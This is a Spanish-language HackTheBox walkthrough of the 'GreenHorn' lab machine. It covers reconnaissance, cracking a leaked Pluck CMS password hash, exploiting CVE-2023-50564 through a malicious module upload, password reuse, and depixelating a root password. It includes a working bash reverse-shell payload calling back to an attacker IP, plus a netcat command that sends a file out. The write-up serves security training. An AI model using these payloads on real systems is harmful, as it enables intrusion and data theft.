GreenHorn – HackTheBox Link to heading

  • OS: Linux
  • Difficulty/Dificultad: Easy/Fácil
  • Platform/Plataforma: HackTheBox

‘GreenHorn’ Avatar


Resumen Link to heading

“GreenHorn” es una máquina de dificultad fácil de la plataforma HackTheBox. Somos capaces de encontrar que el servidor víctima está corriendo una instancia de Gitea, así como también un servicio web Pluck CMS. Somos capaces de crearnos una cuenta en la instancia de Gitea y, eventualmente, hallar un hash en un repositorio público; esta hash es crackeable, obteniendo así una contraseña para el panel admin de Pluck CMS. Una vez dentro, somos capaces de instalar un módulo malicioso el cual nos da ejecución remota de comandos, ganando acceso inicial a la máquina víctima. Una vez dentro, encontramos que uno de los usuarios está reciclando la contraseña del panel de Pluck CMS, por lo que somos capaces de pivotear. Este nuevo usuario tiene un archivo PDF el cual contiene una contraseña pixeleada, la cuales somos capaces de “limpiar”/depixelar, obtener una contraseña que corresponde al usuario root y ganar así control total sobre la máquina víctima.


User / Usuario Link to heading

Empezamos viendo puertos TCP abiertos en la máquina víctima usando Nmap:

❯ sudo nmap -sS --open -p- --min-rate=5000 -n -Pn -vvv 10.10.11.25

Del output podemos ver 3 puertos abiertos: 22 SSH, 80 HTTP y 3000 otro sitio HTTP; además, aplicamos algunos scripts de reconocimiento:

❯ sudo nmap -sVC -p22,80,3000 10.10.11.25

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-19 23:58 -04
Nmap scan report for 10.10.11.25
Host is up (0.20s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 57:d6:92:8a:72:44:84:17:29:eb:5c:c9:63:6a:fe:fd (ECDSA)
|_  256 40:ea:17:b1:b6:c5:3f:42:56:67:4a:3c:ee:75:23:2f (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://greenhorn.htb/
3000/tcp open  ppp?
| fingerprint-strings:
|   GenericLines, Help, RTSPRequest:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 200 OK
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Content-Type: text/html; charset=utf-8
|     Set-Cookie: i_like_gitea=b37c13f914d7c31b; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=TfgSb8HSn0N38iQxFZ_XwzkGJWA6MTcyNDEyNjM0MDc5NjAwMzM4OQ; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Tue, 20 Aug 2024 03:59:00 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-auto">
|     <head>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <title>GreenHorn</title>
|     <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR3JlZW5Ib3JuIiwic2hvcnRfbmFtZSI6IkdyZWVuSG9ybiIsInN0YXJ0X3VybCI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJzaXplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYX
|   HTTPOptions:
|     HTTP/1.0 405 Method Not Allowed
|     Allow: HEAD
|     Allow: HEAD
|     Allow: GET
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Set-Cookie: i_like_gitea=185b0fb05b5bb3e3; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=ChTQomRIw9JNYOh1X23Dlqf0Atw6MTcyNDEyNjM0NzM2MDMzNDA4Mg; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Tue, 20 Aug 2024 03:59:07 GMT
|_    Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.94SVN%I=7%D=8/19%Time=66C41483%P=x86_64-pc-linux-gnu%r
<SNIP>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 110.30 seconds

Del escaneo podemos ver que el sitio del puerto 80 está redirigiendo a http://greenhorn.htb, de manera que agregamos este dominio al archivo /etc/hosts ejecutando:

❯ echo '10.10.11.25 greenhorn.htb' | sudo tee -a /etc/hosts

Antes de visitar las páginas web en un navegador de internet, usamos WhatWeb contra los puertos 80 y 3000 para ver potenciales tecnologías siendo usadas por los sitios respectivos:

❯ whatweb -a 3 http://greenhorn.htb

http://greenhorn.htb [302 Found] Cookies[PHPSESSID], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.25], RedirectLocation[http://greenhorn.htb/?file=welcome-to-greenhorn], nginx[1.18.0]
http://greenhorn.htb/?file=welcome-to-greenhorn [200 OK] Cookies[PHPSESSID], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.25], MetaGenerator[pluck 4.7.18], Pluck-CMS[4.7.18], Title[Welcome to GreenHorn ! - GreenHorn], nginx[1.18.0]

❯ whatweb -a 3 http://greenhorn.htb:3000

http://greenhorn.htb:3000 [200 OK] Cookies[_csrf,i_like_gitea], Country[RESERVED][ZZ], HTML5, HttpOnly[_csrf,i_like_gitea], IP[10.10.11.25], Meta-Author[Gitea - Git with a cup of tea], Open-Graph-Protocol[website], PoweredBy[Gitea], Script, Title[GreenHorn], X-Frame-Options[SAMEORIGIN]

Del output podemos ver que el puerto 80 está corriendo Pluck CMS, mientras que el puerto 3000 se encuentra corriendo Gitea.

Información
Pluck is a content management system (CMS) implemented in PHP designed for setting up and managing your own website.
Es decir, Pluck es un gestor de contenido como lo podría ser WordPress o Joomla.

Visitando http://greenhorn.htb muestra una simple página web:

GreenHorn 1

Leyendo el texto de la página web, ésta claramente dice que el sitio web se encuentra todavía en desarrollo.

Podríamos tratar de obtener directorio a través de un Brute Force Directory Listing, pero dado que Pluck es de código abierto, podemos revisar su repositorio de Github. Allí podemos ver algunos archivos: admin.php, index.php, install.php, requeriments.php, login.php y robots.txt.

Visitando /admin.php, como se esperaba, retorna un error dado que no estamos logueados:

GreenHorn 2

Adicionalmente, luego de algunos segundos el sitio redirige a la ruta /login.php, donde podemos ver:

GreenHorn 3

Visitando los otros archivos PHP o robots.txt no muestra nada interesante, de manera que no vale la pena perder su tiempo.

Podemos notar también del escaneo con WhatWeb, además del navegador de internet, que cuando visitamos http://greenhorn.htb éste nos redirige a http://greenhorn.htb/?file=welcome-to-greenhorn. Intentando un Local File Inclusion visitando, por ejemplo, http://greenhorn.htb/?file=../../../../../../../../etc/passwd retorna un error el cual muestra el siguiente texto:

A hacking attempt has been detected. For security reasons, we're blocking any code execution.

Buscando por algún sitio web random como test visitando http://greenhorn.htb/?file=test sólo retorna 404 Not Found:

GreenHorn 5

Ya en este punto dedicimos ir por el sitio Gitea en el puerto 3000. Visitando http://greenhorn.htb:3000 podemos ver la típica página de Gitea:

GreenHorn 4

Decidimos crear un usuario genérico en este servicio. Una vez creado, nos logueamos y podemos ver:

GreenHorn 6

Ya en este punto podríamos tratar de buscar por repositorios expuestos. Para ello podemos clickear en Explore en la barra superior, lo cual nos redirige a http://greenhorn.htb:3000/explore/repos. Aquí podemos ver otro repositorio llamado GreenHorn de un usuario llamado GreenAdmin:

GreenHorn 7

Entrando en este repositorio tenemos:

GreenHorn_8.png

Aquí nos damos cuenta que los archivos contenidos en el repositorio son exactamente los mismos del repositorio de Github de Pluck CMS. Podemos revisar esta línea del repositorio para el archivo login.php o login.php en el repositorio interno donde tenemos una porción de código:

GreenHorn 9

<SNIP>
//If password is not correct; display error, and store attempt in loginattempt file for brute-force protection.
elseif (($pass != $ww) && (!isset($login_error))) {
	  $login_error = show_error($lang['login']['incorrect'], 1, true);

		//If a loginattempt file already exists, update tries variable.
		if (file_exists(LOGIN_ATTEMPT_FILE))
			  $tries++;
		else
			  $tries = 1;

		//Get current timestamp and save file.
		save_file (LOGIN_ATTEMPT_FILE, array('tries' => $tries, 'timestamp' => time()));
	}
}
<SNIP>

donde, en login.php, podemos ver que, para autenticar la sesión, está comparando la contraseña dada por el usuario con la variable $ww.

¿Pero dónde se encuentra esta variable $ww? Googleando encontramos este post el cual explica cómo instalar Pluck CMS en Ubuntu. Más específicamente, en la respuesta a la pregunta How to Changing the Password?, donde dan la ruta data/settings/pass.php. Además, mirando en el código fuente, notamos estas líneas las cuales están solicitando la variable:

<SNIP>
require_once 'data/settings/pass.php';

//Check if we're already logged in. First, get the token.
require_once 'data/settings/token.php';

if (isset($_SESSION[$token]) && ($_SESSION[$token] == 'pluck_loggedin')) {
	    header('Location: admin.php');
	    exit;
}
<SNIP>

En el repositorio oficial de Pluck (de Github) no hay un archivo pass.php. No obstante, en el repositorio de la máquina víctima de Gitea sí existe un archivo data/settings/pass.php donde podemos ver un hash:

GreenHorn

con contenido:

<?php
$ww = 'd5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163';
?>

Como podemos ver de la misma porción de código de login.php, éste se encuentra usando un tipo de encriptado SHA512:

<SNIP>
//If password has been sent, and the bogus input is empty, MD5-encrypt password.
if (isset($_POST['submit']) && empty($_POST['bogus'])) {
		$pass = hash('sha512', $cont1);

		//Create hash from user-IP, for brute-force protection.
		define('LOGIN_ATTEMPT_FILE', 'data/settings/loginattempt_'.hash('sha512', $_SERVER['REMOTE_ADDR']).'.php');
<SNIP>

Guardamos el hash en nuestra máquina de atacantes e intentamos crackearlo a través de un Brute Force Password Cracking usando la herramienta JohnTheRipper y el formato SHA512:

❯ john --wordlist=/usr/share/wordlists/rockyou.txt pluck_hash --format=Raw-SHA512

Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA512 [SHA512 256/256 AVX2 4x])
Warning: poor OpenMP scalability for this hash type, consider --fork=5
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
iloveyou1        (?)
1g 0:00:00:00 DONE (2024-08-20 01:17) 33.33g/s 170666p/s 170666c/s 170666C/s 123456..babygrl
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Obtenemos una contraseña: iloveyou1

Esta contraseña debería de funcionar para /login.php en el sitio corriendo en el puerto 80 (Pluck CMS). De manera que visitamos http://greenhorn.htb/login.php y pasamos esta contraseña. Esta contraseña funciona. Luego de algunos segundos estamos dentro del panel de administración:

GreenHorn 11

Vamos a pages en la barra superior, y luego a manage files. Aquí subiré un simple archivo PHP que nos entablará una reverse shell:

<?php system('bash -c "bash -i >& /dev/tcp/10.10.16.3/443 0>&1"'); ?>

donde 10.10.16.3 es nuestra IP de atacantes y 443 es el puerto en el cual nos pondremos en escucha con netcat. Guardamos en este caso este archivo como gunzf0x.php.

Si subimos este archivo al sitio, éste agrega la extensión .txt como se ve a continuación:

GreenHorn 12

Pero si visitamos el archivo subido, el código inyectado no es interpretado. de manera que tendremos que hallar otra manera de inyectar código al servicio web.

Buscando por exploits para Pluck con versión 4.7.18 (como se puede ver en la parte inferior izquierda del panel) nos lleva a este blog a una vulnerabilidad catalogada como CVE-2023-50564. En corto, somos capaces de instalar un módulo falso. Este módulo podría ser un archivo .zip con código PHP dentro, el cual es interpretado por el sistema. De manera que comprimimos nuestro archivo PHP previamente creado en un archivo .zip:

❯ zip gunzf0x.zip gunzf0x.php

  adding: gunzf0x.php (stored 0%)

Luego, en el panel de Pluck vamos a options, luego a manage modules y vemos:

GreenHorn 13

Clickeamos en Install a module... y subimos el archivo .zip generado:

GreenHorn 14

Antes de clickear en Upload, recordar empezar nuestro listener con netcat. En este caso empezamos el listener en el puerto 443:

❯ nc -lvnp 443

listening on [any] 443 ...

Podemos ahora clickear en Upload. Si esto ha funcionado deberíamos de ver el texto The module has been installed succesfully y luego de algunos segundos obtenemos una shell como el usuario www-data:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.25] 54736
bash: cannot set terminal process group (1095): Inappropriate ioctl for device
bash: no job control in this shell
www-data@greenhorn:~/html/pluck$ whoami

whoami
www-data

Revisando usuarios en la máquina tenemos 3:

www-data@greenhorn:~/html/pluck$ cat /etc/passwd | grep "sh$"

root:x:0:0:root:/root:/bin/bash
git:x:114:120:Git Version Control,,,:/home/git:/bin/bash
junior:x:1000:1000::/home/junior:/bin/bash

Dado que el servicio SSH se encuentra activo, podemos revisar si la contraseña del panel de Pluck es reciclada por alguno de estos usuarios utilizando la herramienta NetExec:

❯ netexec ssh 10.10.11.25 -u junior -p 'iloveyou1'

SSH         10.10.11.25     22     10.10.11.25      [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH         10.10.11.25     22     10.10.11.25      [-] junior:iloveyou1 Bad authentication type; allowed types: ['publickey']

Pero la máquina víctima no deja utilizar contraseñas para loguearse por SSH. Sólo llaves (keys).

Por esta razón, dado que ya tenemos acceso a la máquina víctima como el usuario www-data, intentamos pivotear al usuario junior internamente utilizando la contraseña iloveyou1 (la misma del panel de Pluck) en la máquina víctima:

www-data@greenhorn:~/html/pluck$ su junior

Password: iloveyou1

junior@greenhorn:/var/www/html/pluck$ whoami

junior

Podemos leer la flag de usuario en el directorio /home de este usuario:

junior@greenhorn:/var/www/html/pluck$ ls -la /home/junior

total 76
drwxr-xr-x 3 junior junior  4096 Jun 20 06:36  .
drwxr-xr-x 4 root   root    4096 Jun 20 06:36  ..
lrwxrwxrwx 1 junior junior     9 Jun 11 14:38  .bash_history -> /dev/null
drwx------ 2 junior junior  4096 Jun 20 06:36  .cache
-rw-r----- 1 root   junior    33 Aug 20 03:53  user.txt
-rw-r----- 1 root   junior 61367 Jun 11 14:39 'Using OpenVAS.pdf'

Root Link to heading

Como vimos previamente, dentro del directorio /home/junior hay un archivo PDF llamado Using OpenVAS.pdf. Transferimos este archivo a nuestra máquina de atacante usando netcat. Para ello empezamos un listener en el puerto 8888 en nuestra máquina de atacante, y guardamos todo lo recibido por el listener dentro de un archivo llamado OpenVAS_file.pdf:

❯ nc -lvnp 8888 > OpenVAS_file.pdf

listening on [any] 8888 ...

Y transferimos el archivo .pdf de la máquina víctima a nuestra máquina de atacante usando netcat:

junior@greenhorn:~$ nc 10.10.16.3 8888 < 'Using OpenVAS.pdf'

Presionamos Ctrl-C luego de algunos segundos establecida la conexión para asegurarnos de que el archivo se raspase íntegramente.

Ya traspasado el archivo, lo leemos:

GreenHorn 15

Aparentemente, hay una contraseña algo pixeleada. Podemos entonces buscar alguna herramienta para “clarificar” la imagen pixeleada. Para ello podemos utilizar la herramienta Depix. La descargamos de su repositorio de Github. Tomamos un screenshot/pantallazo de la contraseña pixeleada y la guardamos como pixelated_text.png:

GreenHorn 16

Luego, usamos la herramienta mencionada para “depixelear” la imagen. Dentro del repositorio descargado hay un directorio llamado images/searchimages el cual contiene imágenes con patrones a probar para “clarificar” la imagen pixeleada:

❯ python3 depix.py -p pixelated_text.png -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png -o depixelated_text.png

2024-08-20 03:06:38,305 - Loading pixelated image from pixelated_text.png
2024-08-20 03:06:38,372 - Loading search image from images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png
<SNIP>
2024-08-20 03:58:19,272 - Writing single match results to output
2024-08-20 03:58:19,277 - Writing average results for multiple matches to output
2024-08-20 04:00:02,285 - Saving output image to: depixelated_text.png
Consejo
Hay que tener paciencia en esta parte. A veces el script demora mucho en “clarificar” la imagen y no lo hace bien. Esta es una de las principales razones por la cual esta máquina no fue muy querida entre la comunidad de HTB.

Eventualmente obtenemos:

GreenHorn 17

Tenemos un texto:

sidefromsidetheothersidesidefromsidetheotherside

Revisamos si esta contrasña funciona para el usuario root:

junior@greenhorn:~$ su root

Password: sidefromsidetheothersidesidefromsidetheotherside

root@greenhorn:/home/junior# whoami

root

GG. Somos root. Podemos leer la flag en el directorio /root.

~Happy Hacking